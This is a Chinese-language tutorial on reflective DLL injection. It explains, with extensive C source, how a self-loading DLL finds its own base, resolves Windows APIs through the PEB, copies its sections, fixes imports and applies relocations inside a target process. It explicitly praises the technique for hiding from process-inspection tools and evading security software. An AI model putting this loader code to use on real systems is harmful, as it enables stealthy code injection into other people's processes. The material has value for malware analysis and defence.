核心思路
反射型dll注入与其他注入不同的是,其不需要使用LoadLibrary这一函数,而是自己来实现整个装载过程。我们可以为待注入的DLL添加一个导出函数,ReflectiveLoader,这个函数实现的功能就是装载它自身。那么我们只需要将这个DLL文件写入目标进程的虚拟空间中,然后通过DLL的导出表找到这个ReflectiveLoader并调用它,我们的任务就完成了。
于是,我们的任务就转到了编写这个ReflectiveLoader上。由于ReflectiveLoader运行时所在的DLL还没有被装载,它在运行时会受到诸多的限制,例如无法正常使用全局变量等。而且,由于我们无法确认我们究竟将DLL文件写到目标进程哪一处虚拟空间上,所以我们编写的ReflectiveLoader必须是地址无关的。也就是说,ReflectiveLoader中的代码无论处于虚拟空间的哪个位置,它都必须能正确运行。这样的代码被我们称为“地址无关代码”(position-independent code, PIC)。
优点
反射式注入方式并没有通过LoadLibrary等API来完成DLL的装载,DLL并没有在操作系统中”注册”自己的存在,因此ProcessExplorer等软件也无法检测出进程加载了该DLL。利用解密磁盘上加密的文件、网络传输等方式避免文件落地,DLL文件可以不一定是本地文件,可来自网络等,总之将数据写到缓冲区即可。
由于它没有通过系统API对DLL进行装载,操作系统无从得知被注入进程装载了该DLL,所以检测软件也无法检测它。同时,由于操作流程和一般的注入方式不同,反射式DLL注入被安全软件拦截的概率也会比一般的注入方式低。
ReflectiveLoader的实现
ReflectiveLoader要完成的任务是对自身的装载。所谓的“装载”具体而言是什么意义呢?
所谓“装载”,最重要的一点就是要将自身合适地展开到虚拟空间中。我们都知道在PE文件包含了许多节,而为了节省存储空间,这些节在PE文件中比较紧密地凑在一起的。而在广阔虚拟空间中,这些节就可以映射到更大的空间中去。更不用说还存在着.bss这样的在PE文件中不占空间,而要在虚拟空间中占据位置的节了。ReflectiveLoader需要做的一件很重要的事就是按照规则去将这些节映射到对应的地址去。
同时,由于DLL中可能会用到其他DLL的函数,装载一个DLL还需要将这个DLL依赖的其他动态库装入内存,并修改DLL的IAT指向到合适的位置,这样对其他DLL函数的引用才能正确运作。
虽然我们上文提到,ReflectiveLoader的代码是地址无关的,但是该DLL的其他部分的代码却并不是这样的。在一份源代码编译、链接成为DLL时,编译器都是假设该DLL会加载到一个固定的位置,生成的代码也是基于这一个假设。在反射式注入DLL的时候,我们不太可能申请到这个预先设定好的地址,所以我们需要面对一个重定位(Rebasing)的问题。
以上就是ReflectiveLoader所面对的问题。接下来我们看看它是如何解决这些问题的。
0) 定位DLL文件在内存中的基址
ReflectiveLoader做的第一件事就是查找自身所在的DLL具体被写入了哪个位置。
ReflectiveLoader首先利用一个重定位技巧找到自身所在的大致位置:
1 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } |
其中函数_ReturnAddress()返回的是当前调用函数的返回地址,也就是caller()的下一条指令的地址。这个地址位于ReflectiveLoader的内部,而ReflectiveLoader位于被注入的DLL文件内部,因此这个地址离DLL文件的头部不远了。
借助上文找到的地址,我们逐字节的向上遍历,当查找到符合PE格式的文件头之后,就可以认为找到了DLL文件在内存中的地址了。
1 | // STEP 0: calculate our images current base address |
2 | |
3 | // we will start searching backwards from our callers return address. |
4 | uiLibraryAddress = caller(); |
5 | |
6 | // loop through memory backwards searching for our images base address |
7 | // we dont need SEH style search as we shouldnt generate any access violations with this |
8 | while( TRUE ) |
9 | { |
10 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) |
11 | { |
12 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; |
13 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), |
14 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. |
15 | //一些 x64的 dll 可以触发一个伪造的签名(IMAGE _ dos _ signature = ‘ POP r10’) , |
16 | //我们对 e _ lfanew 进行健全性检查,上限值为1024,以避免出现问题 |
17 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) |
18 | { |
19 | uiHeaderValue += uiLibraryAddress; |
20 | // break if we have found a valid MZ/PE header |
21 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) |
22 | break; |
23 | } |
24 | } |
25 | uiLibraryAddress--; |
26 | } |
1)获取所需的系统API
ReflectiveLoader启动时,目标进程已在正常的运行状态中了,此时目标进程已经装载了一些核心的DLL文件。我们可以搜索这些DLL文件,查找需要的API函数,为后续操作提供方便。具体地,我们需要的函数是kernel32.dll中的LoadLibraryA(), GetProcAddress(), VirtualAlloc()以及ntdll.dll中的NtFlushInstructionCache()函数。
1 | LOADLIBRARYA pLoadLibraryA = NULL; |
2 | GETPROCADDRESS pGetProcAddress = NULL; |
3 | VIRTUALALLOC pVirtualAlloc = NULL; |
4 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; |
ReflectiveLoader借助PEB (Process Environment Block)来查找kernel32.dll和ntdll.dll在内存中的位置。这一部分需要对TEB (Thread Environment Block)和PEB (Process Environment Block)有一个基本的了解。
在x64系统下,PEB在gs段的60h偏移量处,在x86系统下,PEB在fs段的30h偏移量处
PEB结构如下,具体使用windbg可查看
1 | // struct _PEB is defined in Winternl.h but it is incomplete |
2 | // WinDbg> dt -v ntdll!_PEB |
3 | typedef struct __PEB // 65 elements, 0x210 bytes |
4 | { |
5 | BYTE bInheritedAddressSpace; |
6 | BYTE bReadImageFileExecOptions; |
7 | BYTE bBeingDebugged; |
8 | BYTE bSpareBool; |
9 | LPVOID lpMutant; |
10 | LPVOID lpImageBaseAddress; |
11 | PPEB_LDR_DATA pLdr; |
12 | LPVOID lpProcessParameters; |
13 | LPVOID lpSubSystemData; |
14 | LPVOID lpProcessHeap; |
15 | PRTL_CRITICAL_SECTION pFastPebLock; |
16 | LPVOID lpFastPebLockRoutine; |
17 | LPVOID lpFastPebUnlockRoutine; |
18 | DWORD dwEnvironmentUpdateCount; |
19 | LPVOID lpKernelCallbackTable; |
20 | DWORD dwSystemReserved; |
21 | DWORD dwAtlThunkSListPtr32; |
22 | PPEB_FREE_BLOCK pFreeList; |
23 | DWORD dwTlsExpansionCounter; |
24 | LPVOID lpTlsBitmap; |
25 | DWORD dwTlsBitmapBits[2]; |
26 | LPVOID lpReadOnlySharedMemoryBase; |
27 | LPVOID lpReadOnlySharedMemoryHeap; |
28 | LPVOID lpReadOnlyStaticServerData; |
29 | LPVOID lpAnsiCodePageData; |
30 | LPVOID lpOemCodePageData; |
31 | LPVOID lpUnicodeCaseTableData; |
32 | DWORD dwNumberOfProcessors; |
33 | DWORD dwNtGlobalFlag; |
34 | LARGE_INTEGER liCriticalSectionTimeout; |
35 | DWORD dwHeapSegmentReserve; |
36 | DWORD dwHeapSegmentCommit; |
37 | DWORD dwHeapDeCommitTotalFreeThreshold; |
38 | DWORD dwHeapDeCommitFreeBlockThreshold; |
39 | DWORD dwNumberOfHeaps; |
40 | DWORD dwMaximumNumberOfHeaps; |
41 | LPVOID lpProcessHeaps; |
42 | LPVOID lpGdiSharedHandleTable; |
43 | LPVOID lpProcessStarterHelper; |
44 | DWORD dwGdiDCAttributeList; |
45 | LPVOID lpLoaderLock; |
46 | DWORD dwOSMajorVersion; |
47 | DWORD dwOSMinorVersion; |
48 | WORD wOSBuildNumber; |
49 | WORD wOSCSDVersion; |
50 | DWORD dwOSPlatformId; |
51 | DWORD dwImageSubsystem; |
52 | DWORD dwImageSubsystemMajorVersion; |
53 | DWORD dwImageSubsystemMinorVersion; |
54 | DWORD dwImageProcessAffinityMask; |
55 | DWORD dwGdiHandleBuffer[34]; |
56 | LPVOID lpPostProcessInitRoutine; |
57 | LPVOID lpTlsExpansionBitmap; |
58 | DWORD dwTlsExpansionBitmapBits[32]; |
59 | DWORD dwSessionId; |
60 | ULARGE_INTEGER liAppCompatFlags; |
61 | ULARGE_INTEGER liAppCompatFlagsUser; |
62 | LPVOID lppShimData; |
63 | LPVOID lpAppCompatInfo; |
64 | UNICODE_STR usCSDVersion; |
65 | LPVOID lpActivationContextData; |
66 | LPVOID lpProcessAssemblyStorageMap; |
67 | LPVOID lpSystemDefaultActivationContextData; |
68 | LPVOID lpSystemAssemblyStorageMap; |
69 | DWORD dwMinimumStackCommit; |
70 | } _PEB, * _PPEB; |
ldr 指向PEB_LDR_DATA结构的指针,该结构包含有关进程的已加载模块的信息。参考:https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data,结构如下:
1 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA |
2 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes |
3 | { |
4 | DWORD dwLength; |
5 | DWORD dwInitialized; |
6 | LPVOID lpSsHandle; |
7 | LIST_ENTRY InLoadOrderModuleList; |
8 | LIST_ENTRY InMemoryOrderModuleList; |
9 | LIST_ENTRY InInitializationOrderModuleList; |
10 | LPVOID lpEntryInProgress; |
11 | } PEB_LDR_DATA, * PPEB_LDR_DATA; |
PPEB_LDR_DATA中的InMemoryOrderModuleList是一个双向链接列表的头部,该列表包含该过程的已加载模块,列表中的每个项目都是指向LDR_DATA_TABLE_ENTRY结构的指针。
LIST_ENTRY结构如下:
1 | typedef struct _LIST_ENTRY { |
2 | struct _LIST_ENTRY *Flink; |
3 | struct _LIST_ENTRY *Blink; |
4 | } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; |
LDR_DATA_TABLE_ENTRY结构如下:
1 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY |
2 | //__declspec( align(8) ) |
3 | typedef struct _LDR_DATA_TABLE_ENTRY |
4 | { |
5 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. |
6 | LIST_ENTRY InMemoryOrderModuleList; |
7 | LIST_ENTRY InInitializationOrderModuleList; |
8 | PVOID DllBase; |
9 | PVOID EntryPoint; |
10 | ULONG SizeOfImage; |
11 | UNICODE_STR FullDllName; |
12 | UNICODE_STR BaseDllName; |
13 | ULONG Flags; |
14 | SHORT LoadCount; |
15 | SHORT TlsIndex; |
16 | LIST_ENTRY HashTableEntry; |
17 | ULONG TimeDateStamp; |
18 | } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; |
其中的三个LIST_ENTRY是三个链表,按照不同的顺序规则将当前进程加载的所有模块链接起来。通过遍历其中的任意一个LIST_ENTRY,我们就可以获得所有模块的基地址,具体方法就不细致阐述了。
在获取了模块基地址之后,通过对PE文件的解析,找到DLL文件的导出表,再根据导出表就可以找到任一导出函数的地址了。对PE文件的解析有太多文章,这里也不细致阐述了。
在此,我们得到了函数LoadLibraryA(), GetProcAddress(), VirtualAlloc()以及NtFlushInstructionCache()。它们将在之后被用到。
代码如下:
1 | // STEP 1: process the kernels exports for the functions our loader needs... |
2 | |
3 | // get the Process Enviroment Block |
4 |
|
5 | uiBaseAddress = __readgsqword( 0x60 ); |
6 |
|
7 |
|
8 | uiBaseAddress = __readfsdword( 0x30 ); |
9 |
|
10 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); |
11 |
|
12 |
|
13 | |
14 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx |
15 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; |
16 | |
17 | // get the first entry of the InMemoryOrder module list |
18 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; |
19 | while( uiValueA ) |
20 | { |
21 | // get pointer to current modules name (unicode string) |
22 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; |
23 | // set bCounter to the length for the loop |
24 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; |
25 | // clear uiValueC which will store the hash of the module name |
26 | uiValueC = 0; |
27 | |
28 | // compute the hash of the module name... |
29 | do |
30 | { |
31 | uiValueC = ror( (DWORD)uiValueC ); |
32 | // normalize to uppercase if the madule name is in lowercase |
33 | if( *((BYTE *)uiValueB) >= 'a' ) |
34 | uiValueC += *((BYTE *)uiValueB) - 0x20; |
35 | else |
36 | uiValueC += *((BYTE *)uiValueB); |
37 | uiValueB++; |
38 | } while( --usCounter ); |
39 | |
40 | // compare the hash with that of kernel32.dll |
41 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) |
42 | { |
43 | // get this modules base address |
44 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; |
45 | |
46 | // get the VA of the modules NT Header |
47 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; |
48 | |
49 | // uiNameArray = the address of the modules export directory entry |
50 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; |
51 | |
52 | // get the VA of the export directory |
53 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); |
54 | |
55 | // get the VA for the array of name pointers |
56 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); |
57 | |
58 | // get the VA for the array of name ordinals |
59 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); |
60 | |
61 | usCounter = 3; |
62 | |
63 | // loop while we still have imports to find |
64 | while( usCounter > 0 ) |
65 | { |
66 | // compute the hash values for this function name |
67 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); |
68 | |
69 | // if we have found a function we want we get its virtual address |
70 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) |
71 | { |
72 | // get the VA for the array of addresses |
73 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); |
74 | |
75 | // use this functions name ordinal as an index into the array of name pointers |
76 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); |
77 | |
78 | // store this functions VA |
79 | if( dwHashValue == LOADLIBRARYA_HASH ) |
80 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); |
81 | else if( dwHashValue == GETPROCADDRESS_HASH ) |
82 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); |
83 | else if( dwHashValue == VIRTUALALLOC_HASH ) |
84 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); |
85 | |
86 | // decrement our counter |
87 | usCounter--; |
88 | } |
89 | |
90 | // get the next exported function name |
91 | uiNameArray += sizeof(DWORD); |
92 | |
93 | // get the next exported function name ordinal |
94 | uiNameOrdinals += sizeof(WORD); |
95 | } |
96 | } |
97 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) |
98 | { |
99 | // get this modules base address |
100 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; |
101 | |
102 | // get the VA of the modules NT Header |
103 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; |
104 | |
105 | // uiNameArray = the address of the modules export directory entry |
106 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; |
107 | |
108 | // get the VA of the export directory |
109 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); |
110 | |
111 | // get the VA for the array of name pointers |
112 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); |
113 | |
114 | // get the VA for the array of name ordinals |
115 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); |
116 | |
117 | usCounter = 1; |
118 | |
119 | // loop while we still have imports to find |
120 | while( usCounter > 0 ) |
121 | { |
122 | // compute the hash values for this function name |
123 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); |
124 | |
125 | // if we have found a function we want we get its virtual address |
126 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) |
127 | { |
128 | // get the VA for the array of addresses |
129 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); |
130 | |
131 | // use this functions name ordinal as an index into the array of name pointers |
132 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); |
133 | |
134 | // store this functions VA |
135 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) |
136 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); |
137 | |
138 | // decrement our counter |
139 | usCounter--; |
140 | } |
141 | |
142 | // get the next exported function name |
143 | uiNameArray += sizeof(DWORD); |
144 | |
145 | // get the next exported function name ordinal |
146 | uiNameOrdinals += sizeof(WORD); |
147 | } |
148 | } |
149 | |
150 | // we stop searching when we have found everything we need. |
151 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) |
152 | break; |
153 | |
154 | // get the next entry |
155 | uiValueA = DEREF( uiValueA ); |
156 | } |
2) 重新装载DLL
虽然在ReflectiveLoader运行时,DLL文件已经在进程内存中了,但是要装载这个DLL,我们还需要更大的空间。借助在上一步步得到的函数VirtualAlloc(),我们可以分配一片更大的内存空间用于加载DLL。在PE头中的IMAGE_OPTIONAL_HEADER结构体中的SizeOfImage成员记载DLL被装载后的大小,我们按照这个大小分配内存即可。
1 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); |
uiBaseAddress记录了VirtualAlloc的返回值,也就是分配内存空间的起始地址。于是uiBaseAddress就成为了DLL被装载后的基地址。
3) 复制PE文件头和各个节
分配了用于装载的空间后,ReflectiveLoader将DLL文件的头部(也就是DOS文件头、DOS插桩代码和PE文件头)复制到新的空间的首部。再根据PE文件的节表将各个节复制到相应的位置中.
1 | // STEP 3: load in all of our sections and header... |
2 | |
3 | // we must now copy over the headers |
4 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; |
5 | uiValueB = uiLibraryAddress; |
6 | uiValueC = uiBaseAddress; |
7 | |
8 | while( uiValueA-- ) |
9 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; |
10 | |
11 | |
12 | // uiValueA = the VA of the first section |
13 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); |
14 | |
15 | // itterate through all sections, loading them into memory. |
16 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; |
17 | while( uiValueE-- ) |
18 | { |
19 | // uiValueB is the VA for this section |
20 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); |
21 | |
22 | // uiValueC if the VA for this sections data |
23 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); |
24 | |
25 | // copy the section over |
26 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; |
27 | |
28 | while( uiValueD-- ) |
29 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; |
30 | |
31 | // get the VA of the next section |
32 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); |
33 | } |
4) 处理DLL的引入表
被注入的DLL可能还依赖于其他的DLL,因此我们还需要装载这些被依赖的DLL,并修改本DLL的引入表,使这些被引入的函数能正常运行。
PE文件的引入表是一个元素为IMAGE_IMPORT_DESCRIPTOR的数组。每一个被依赖的DLL都对应着数组中的一个元素。下图表示了IMAGE_IMPORT_DESCRIPTOR结构以及我们需要进行的处理。
我们要做的就是根据IMAGE_IMPORT_DESCRIPTOR中的NAME成员找到DLL的名称,根据名称装载这些被依赖的DLL。 IMAGE_IMPORT_DESCRIPTOR中的OriginalFirstThunk指示了要从该DLL中引入哪些函数。有的函数是由名称导入的,此时IMAGE_THUNK_DATA会指向这个函数名;有的函数是由函数序号导入,此时分析IMAGE_THUNK_DATA我们会得到这个序号。无论是以什么方式导入,我们都要需要找到对应的函数,然后将其地址填入FirstThunk指向的IMAGE_THUNK_DATA数组中。装载这些被依赖的DLL就不需要我们手工操作了,我们直接利用步骤1)中获得的LoadLibraryA()来装载它们。对于那些通过函数名导入的函数来说,我们可以直接用GetProcAddress()来得到它们的地址;而对于通过序数导入的函数来说,则需要我们再次手工分析PE文件的导出表来找到它们的位置。
在得到所需的函数的地址后,将它们填入上图的相应位置,这样我们就完成了对引入表的处理了。
1 | |
2 | // STEP 4: process our images import table... |
3 | |
4 | // uiValueB = the address of the import directory |
5 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; |
6 | |
7 | // we assume their is an import table to process |
8 | // uiValueC is the first entry in the import table |
9 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); |
10 | |
11 | // itterate through all imports |
12 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) |
13 | { |
14 | // use LoadLibraryA to load the imported module into memory |
15 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); |
16 | |
17 | // uiValueD = VA of the OriginalFirstThunk |
18 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); |
19 | |
20 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) |
21 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); |
22 | |
23 | // itterate through all imported functions, importing by ordinal if no name present |
24 | while( DEREF(uiValueA) ) |
25 | { |
26 | // sanity check uiValueD as some compilers only import by FirstThunk |
27 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) |
28 | { |
29 | // get the VA of the modules NT Header |
30 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; |
31 | |
32 | // uiNameArray = the address of the modules export directory entry |
33 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; |
34 | |
35 | // get the VA of the export directory |
36 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); |
37 | |
38 | // get the VA for the array of addresses |
39 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); |
40 | |
41 | // use the import ordinal (- export ordinal base) as an index into the array of addresses |
42 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); |
43 | |
44 | // patch in the address for this imported function |
45 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); |
46 | } |
47 | else |
48 | { |
49 | // get the VA of this functions import by name struct |
50 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); |
51 | |
52 | // use GetProcAddress and patch in the address for this imported function |
53 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); |
54 | } |
55 | // get the next imported function |
56 | uiValueA += sizeof( ULONG_PTR ); |
57 | if( uiValueD ) |
58 | uiValueD += sizeof( ULONG_PTR ); |
59 | } |
60 | |
61 | // get the next import |
62 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); |
63 | } |
5) 对DLL进行重定位
被注入的DLL只有其ReflectiveLoader中的代码是故意写成地址无关、不需要重定位的,其他部分的代码则需要经过重定位才能正确运行。幸运的是DLL文件提供了我们进行重定位所需的所有信息,这是因为每一个DLL都具有加载不到预定基地址的可能性,所以每一个DLL都对自身的重定位做好了准备。
PE可选印象头的DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]就指向了重定位表。重定位表的数据结构如下:
1 | typedef struct _IMAGE_BASE_RELOCATION { |
2 | DWORD VirtualAddress; |
3 | DWORD SizeOfBlock; |
4 | // WORD TypeOffset[1]; |
5 | } IMAGE_BASE_RELOCATION; |
6 | typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION; |
从定义上看,IMAGE_BASE_RELOCATION只包含了两个DWORD,其实在内存中它之后还跟了若干个大小为两个字节的元素,就是定义中被注释掉的“WORD Typeoffset[1]“。IMAGE_BASE_RELOCATION结构和后面紧跟的若干个Typeoffset组成了一个块,其大小为结构体中的SizeOfBlock。因此,Typeoffset的数量可以根据SizeofBlock算出。当一个块结束时,后面紧跟的就是下一个块。若SizeofBlock为0则标志着重定位表结束了。
Typeoffset的高4位代表重定位类型,一般为3,低12位则表示重定位地址。这个地址和IMAGE_BASE_RELOCATION中的VirtualAddress加起来则指向一个需要重定位的指令。
找到需要重定位的地点之后,怎么重定位呢?前文说到Typeoffset指示了多种重定位类型,其中最常见的为3,在此我只介绍这种情况。其他重定位类型的主体思想基本是相似的,只有细微的不同。
我们首先计算得到基地址的偏移量,也就是实际的DLL加载地址减去DLL的推荐加载地址。DLL推荐加载地址保存在NT可选印象头中的ImageBase成员中,而实际DLL加载地址则是我们在第2)步中函数VirtualAlloc()的返回值。然后我们将VirtualAddress和Typeoffset合力组成的地址所指向的双字加上这个偏移量,重定位就完成了。
1 | *(DWORD*)(VirtualAddress + Typeoffset的低12位) += (实际DLL加载地址 – 推荐DLL加载地址) |
代码如下:
1 | // STEP 5: process all of our images relocations... |
2 | |
3 | // calculate the base address delta and perform relocations (even if we load at desired image base) |
4 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; |
5 | |
6 | // uiValueB = the address of the relocation directory |
7 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; |
8 | |
9 | // check if their are any relocations present |
10 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) |
11 | { |
12 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) |
13 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); |
14 | |
15 | // and we itterate through all entries... |
16 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) |
17 | { |
18 | // uiValueA = the VA for this relocation block |
19 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); |
20 | |
21 | // uiValueB = number of entries in this relocation block |
22 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); |
23 | |
24 | // uiValueD is now the first entry in the current relocation block |
25 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); |
26 | |
27 | // we itterate through all the entries in the current block... |
28 | while( uiValueB-- ) |
29 | { |
30 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. |
31 | // we dont use a switch statement to avoid the compiler building a jump table |
32 | // which would not be very position independent! |
33 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) |
34 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; |
35 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) |
36 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; |
37 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) |
38 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); |
39 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) |
40 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); |
41 | |
42 | // get the next entry in the current relocation block |
43 | uiValueD += sizeof( IMAGE_RELOC ); |
44 | } |
45 | |
46 | // get the next entry in the relocation directory |
47 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; |
48 | } |
